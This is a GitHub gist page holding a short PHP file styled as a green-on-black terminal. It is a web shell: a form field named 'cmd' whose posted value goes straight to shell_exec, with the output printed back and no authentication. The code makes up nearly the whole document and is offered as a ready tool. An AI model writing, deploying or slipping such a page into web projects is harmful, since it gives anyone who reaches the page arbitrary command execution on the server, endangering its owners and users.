Created
August 25, 2012 03:25
-
-
Save cooperq/3459952 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<style> | |
body{ | |
background: #000000; | |
color: #00ff00; | |
font-family: courier | |
} | |
input{ | |
border: none; | |
color: #00ff00; | |
background: #000; | |
display: inline; | |
float: left; | |
} | |
span{ | |
float:left; | |
} | |
.clear{clear:both;} | |
</style> | |
</head> | |
<body> | |
<form method='post' name='cmdform'> | |
<span> | |
<?php print(shell_exec('pwd'));?>$ | |
</span> | |
<input type='text' name='cmd' autofocus /> | |
</form> | |
<?php | |
if($_POST['cmd']){ | |
print "<div class='clear'><pre>"; | |
print shell_exec($_POST['cmd']); | |
print "</pre></div>"; | |
} | |
?> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment